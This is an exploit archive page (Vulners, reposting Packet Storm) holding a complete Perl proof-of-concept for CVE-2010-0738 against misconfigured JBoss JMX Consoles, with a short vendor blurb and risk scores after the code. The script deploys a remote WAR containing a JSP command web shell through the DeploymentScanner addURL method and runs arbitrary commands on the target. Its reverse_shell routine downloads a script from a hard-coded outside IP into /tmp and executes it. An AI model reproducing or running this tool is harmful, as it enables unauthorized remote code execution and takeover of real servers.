Lucene search
K

JBoss addURL Misconfiguration Attack

🗓️ 03 Oct 2011 00:00:00Reported by y0ugType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 87 Views

JBoss misconfigured DeploymentScanner addURL method attac

Related
Code
`#!/usr/bin/perl  
# Exploit Title: JBoss, JMX Console, misconfigured DeploymentScanner  
# Date: Oct 3 2011  
# Author: y0ug <at> codsec.com  
# Version:  
# Tested on: Linux  
# CVE : CVE-2010-0738  
#  
# POC against misconfigured JBoss JMX Console  
# It use the addUrl method in DeploymentScanner module  
#  
# More information  
# http://packetstormsecurity.org/files/download/105479/JBossWhitepaper.pdf  
# http://poc-hack.blogspot.com/2011/02/how-to-hack-any-version-of-jboss.html  
#  
# You need to edit  
# $url_cmd to match the war payload url  
# $url_shell is your reverse shell url  
# ( only if you want to use reverse_shell("ip", "port") )  
#  
# The JSP shell is not mine is available every where  
# I add a -b param that build the war contener to do this you need java  
#  
# Is a fast POC coded this morning for fun so maybe it don't cover all case/version  
#  
# Usage:  
# Build the war contener (need java)  
# ./jboss -b  
# Hack  
# ./jboss http://www.vuln.com:8080  
  
use strict;  
  
use LWP::UserAgent;  
use HTTP::Request::Common qw(POST);  
use HTTP::Request::Common qw(GET);  
use IO::Socket::SSL;  
use Cwd;  
  
# configuration section  
my $url_cmd = "http://78.46.149.64/cmd.war";  
my $url_shell = "http://78.46.149.64/reverse.pl";  
my $debug = 0; # 1 to switch to debug  
my $useragent = "'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.12) ".   
"Gecko/20101026 Firefox/3.6.12 ( .NET CLR 3.5.30729)'";  
  
# Don't edit from here  
my $installed = 0;  
my $url;  
  
my $ua = LWP::UserAgent->new;  
  
$SIG{INT} = "sigtrap";  
  
sub debug {  
if( $debug ){  
print STDERR "debug: ", @_, "\n";  
}  
}  
  
sub check_url {  
my $request = GET "$url/jmx-console/";  
my $response = $ua->request($request);  
if (!$response->is_success) {  
print STDERR $response->status_line, "\n";  
return -1;  
}  
return 0;  
}  
  
sub sigtrap {  
if ( $installed ){  
print " [*] Clean of $url in progress...\n";  
clean_war();  
}  
exit 1;  
}  
  
sub find_method_index {  
my $method = shift(@_);  
  
my $request = GET "$url/jmx-console/HtmlAdaptor?" .  
"action=inspectMBean&name=jboss.deployment" .  
"%3Aflavor%3DURL%2Ctype%3DDeploymentScanner";  
  
  
my $response = $ua->request($request);  
if (!$response->is_success) {  
print STDERR $response->status_line, "\n";  
return -1;  
}  
my $page = $response->decoded_content;  
  
# Match a certain jboss version  
while ( $page =~ m{<form method="post" action="HtmlAdaptor">(.*?)</form>}sg ){  
my $form = $1;  
if ( $form =~ /$method/ ){  
if ( $form =~ /<input type="hidden" name="methodIndex" value="(\d+)">/ ){  
debug("method $method at index $1");  
return $1;  
}  
}  
}  
  
# Match another jboss version  
while ( $page =~ m{<td class='param'>$method</td>(.*?)</tr>}sg ){  
my $form = $1;  
if ( $form =~ /<input type='hidden' name='methodIndex' value='(\d+)'\/>/ ){  
debug("method $method at index $1");  
return $1;  
}  
}  
  
# Match another jboss version  
while ( $page =~ m{<span class='aname'>$method</span>(.*?)<table>}sg ){  
my $form = $1;  
if ( $form =~ /<input type="hidden" name="methodIndex" value="(\d+)" \/>/ ){  
debug("method $method at index $1");  
return $1;  
}  
}   
return -1;  
}  
  
sub is_installed_war {  
my $method_index = find_method_index("hasURL");  
if ( $method_index < 0 ) { print "Can't find methodIndex for hasURL\n"; return -1; }  
my $request = POST "$url/jmx-console/HtmlAdaptor", { action => 'invokeOp',  
name => 'jboss.deployment:type=DeploymentScanner,flavor=URL',  
methodIndex => "$method_index", arg0 => $url_cmd};  
my $response = $ua->request($request);  
if (!$response->is_success) {  
print STDERR $response->status_line, "\n";  
return -1;  
}  
my $page = $response->decoded_content;  
  
if ( $page =~ m{<pre>(.*?)</pre>}s ){  
my $ret = $1;  
if ( $ret =~ /true/ ){  
return 1;  
}else{  
return 0;  
}  
}else{  
print STDERR "error: occured during is_installed_war regex!\n";  
return -2;  
}  
}  
  
sub install_war {  
if (is_installed_war == 1){  
print " [*] Install canceled, already installed\n";  
return 1;  
}  
my $method_index = find_method_index("addURL");  
if ( $method_index < 0 ) { print "Can't find methodIndex for addURL\n"; return -1; }  
  
my $request = POST "$url/jmx-console/HtmlAdaptor", { action => 'invokeOp',  
name => 'jboss.deployment:type=DeploymentScanner,flavor=URL',  
methodIndex => "$method_index", arg0 => $url_cmd};  
my $response = $ua->request($request);  
if (!$response->is_success) {  
print STDERR $response->status_line, "\n";  
return -1;  
}  
my $page = $response->decoded_content;  
  
if ( $page =~ m{<span class='OpResult'>(.*?)</span>}s ){  
print " [*] ", trim($1), "\n";  
return 0;  
}elsif ( $page =~ m{<pre>(.*?)</pre>}s ){  
print " [*] ", trim($1), "\n";  
return 0;  
}elsif ( $page =~ m{</table>(.*?)</body>}s ){  
print " [*] ", trim($1), "\n";  
return 0;  
}else{  
print STDERR "error: occured during install_war regex!\n";  
return -1;  
}  
}  
  
sub clean_war {  
while(is_installed_war == 1){  
if ( uninstall_war() < 0 ){  
return -1;  
}  
}  
print " [*] Clean complete\n";  
return 0;  
}  
  
sub uninstall_war {  
my $method_index = find_method_index("removeURL");  
if ( $method_index < 0 ) { print "Can't find methodIndex for removeURL\n"; return -1; }  
my $request = POST "$url/jmx-console/HtmlAdaptor", { action => 'invokeOp',  
name => 'jboss.deployment:type=DeploymentScanner,flavor=URL',  
methodIndex => "$method_index", arg0 => $url_cmd};  
my $response = $ua->request($request);  
if (!$response->is_success) {  
print STDERR $response->status_line, "\n";  
return -1;  
}  
my $page = $response->decoded_content;  
  
if ( $page =~ m{<span class='OpResult'>(.*?)</span>}s ){  
print " [*] ", trim($1), "\n";  
return 0;  
}elsif ( $page =~ m{<pre>(.*?)</pre>}s ){  
print " [*] ", trim($1), "\n";  
return 0;  
}elsif ( $page =~ m{</table>(.*?)</body>}s ){  
print " [*] ", trim($1), "\n";  
return 0;  
}else{  
print STDERR "error: occured during uninstall_war regex!\n";  
return -1;  
}  
}  
  
sub execute {  
my $cmd = shift(@_);  
print '$ ' . $cmd . "\n";  
  
my $request = POST "$url/cmd/cmd.jsp", { cmd => $cmd};  
my $response = $ua->request($request);  
if (!$response->is_success) {  
if ( $response->code == 404 ){  
print STDERR "Command war contener is not installed!\n";  
}else{  
print STDERR $response->status_line, "\n";  
}  
return -1;  
}  
my $page = $response->decoded_content;  
  
my $content = $page;  
  
if ( $content =~ m{<BR>(.*)</pre>}s ){  
print trim($1) . "\n";  
return 0;  
}else{  
print STDERR "error: occured during exec regex!\n";  
return -1;  
}  
}  
  
sub reverse_shell {  
my ($ip, $port) = @_;  
print " [*] reverse shell to $ip $port\n";  
my $cmd = "wget -O /tmp/a $url_shell";  
if ( execute($cmd) < 0 ){  
return -1;  
}  
if ( execute("chmod +x /tmp/a") < 0 ){  
return -1;  
}  
return execute("/tmp/a $ip $port");  
}  
  
sub trim($){  
my $string = shift;  
$string =~ s/^\s+//;  
$string =~ s/\s+$//;  
return $string;  
}  
  
sub setup {  
print " [*] Check url $url...\n";  
if ( check_url() < 0 ){  
print "Url $url not available!\n";  
return -1;  
}  
  
print " [*] Try to install command war contener...\n";  
return install_war;  
}  
  
sub check_cmd {  
my $t = 5;  
for( my $i = 1; $i <= $t ; ++$i ){  
my $request = GET "$url/cmd/cmd.jsp";  
my $response = $ua->request($request);  
if (!$response->is_success) {  
if ( $response->code != 404 ){  
print STDERR $response->status_line, "\n";  
return 0;  
}  
print(" [*] check_cmd $i/$t failed\n");  
}else{  
print(" [*] check_cmd $i/$t ok, gogogo!\n");  
return 1;  
}  
if ( $i < $t-1) {sleep(15); }  
}  
return 0;  
}  
  
sub help {  
print "Help\n";  
print " - Is a perl shell so you can call perl function\n";  
print " > execute(\"id\") # execute the commande\n";  
print " > reverse_shell(\"8.8.8.8\", \"1912\") # download your reverse shell and execute it\n";  
print " > clean # remove the war contener from the server\n";  
print " > check_cmd # loop until command available\n";  
print " > install_war # install the war contener from url\n";  
print " > exit # clean and quit\n";  
print " > exitd # exit without cleaning\n";  
}  
  
sub build_war {  
my $jsp_file = "cmd.jsp";  
open( my $jsp_output, '>', $jsp_file ) or  
die("Can't open $jsp_file : $!");  
  
print $jsp_output <<EOF;  
<%@ page import="java.util.*,java.io.*"%>  
<%  
%>  
<HTML><BODY>  
Commands with JSP  
<FORM METHOD="GET" NAME="myform" ACTION="">  
<INPUT TYPE="text" NAME="cmd">  
<INPUT TYPE="submit" VALUE="Send">  
</FORM>  
<pre>  
<%  
if (request.getParameter("cmd") != null) {  
out.println("Command: " + request.getParameter("cmd") + "<BR>");  
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));  
OutputStream os = p.getOutputStream();  
InputStream in = p.getInputStream();  
DataInputStream dis = new DataInputStream(in);  
String disr = dis.readLine();  
while ( disr != null ) {  
out.println(disr);  
disr = dis.readLine();  
}  
}  
%>  
</pre>  
</BODY></HTML>  
EOF  
  
close($jsp_output);  
  
mkdir "WEB-INF";  
my $xml_file = "WEB-INF/web.xml";  
open( my $xml_output, '>', $xml_file ) or  
die("Can't open $xml_file : $!");  
print $xml_output <<EOF;  
<?xml version="1.0" ?>  
<web-app xmlns="http://java.sun.com/xml/ns/j2ee"  
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"  
xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee  
http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"  
version="2.4">  
<servlet>  
<servlet-name>Command</servlet-name>  
<jsp-file>/cmd.jsp</jsp-file>  
</servlet>  
</web-app>  
EOF  
close($xml_output);  
  
system("jar cvf cmd.war WEB-INF/ $jsp_file");  
unlink($xml_file);  
unlink($jsp_file);  
rmdir("WEB-INF");  
  
print " [*] War contener is here ", getcwd, "/cmd.war\n";  
print " [*] Upload it to your server and update script url\n";  
}  
  
sub shell {  
do {  
print("> ");  
chop($_ = <STDIN>);  
if ( $_ eq "help" ) { help(); }  
if ( $_ eq "exitd" ) { exit 0; }  
elsif ( $_ ne "exit" ){ eval($_); }  
warn() if $@;  
} while ($_ ne "exit");  
}  
  
if($#ARGV+1 != 1){  
print " [*] Exploit Title: JBoss, JMX Console, misconfigured DeploymentScanner\n";  
print " [*] Date: Oct 3 2011\n";  
print " [*] Author: y0ug <at> codsec.com\n";  
print " [*] Version: 0.1\n";  
print " [*] JSP shell url $url_cmd\n\n";  
print " [*] Usage:\n";  
print " Build the war contener (need java)\n";  
print " $0 -b\n";  
print " Hack\n";  
print " $0 http://www.vuln.com:8080\n\n";  
  
  
exit 1;  
}  
  
if($ARGV[0] eq "-b"){  
build_war;  
exit 0;  
}  
  
$url = $ARGV[0];  
  
$ua->agent($useragent);  
  
print " [*] JSP shell url $url_cmd\n";  
  
if ( setup() < 0 ){  
print " [*] Setup failed!\n";  
exit 1;  
}  
$installed = 1;  
print " [*] Wait few minutes, times to JBoss to load the url\n";  
print " [*] You can find the shell here too\n";  
print " [*] $url/cmd/cmd.jsp\n";  
  
if ( check_cmd() <= 0 ){  
print " [*] ## Exploit certainly failed! ##\n";  
print " [*] You can wait a little longer (run > check_cmd)\n";  
}else{  
print " [*] Congrats, is up!\n";  
execute("id");  
}  
  
shell();  
  
print " [*] Clean of $url in progress...\n";  
clean_war();  
  
exit(0);  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

03 Oct 2011 00:00Current
5.8Medium risk
Vulners AI Score5.8
EPSS0.92431
87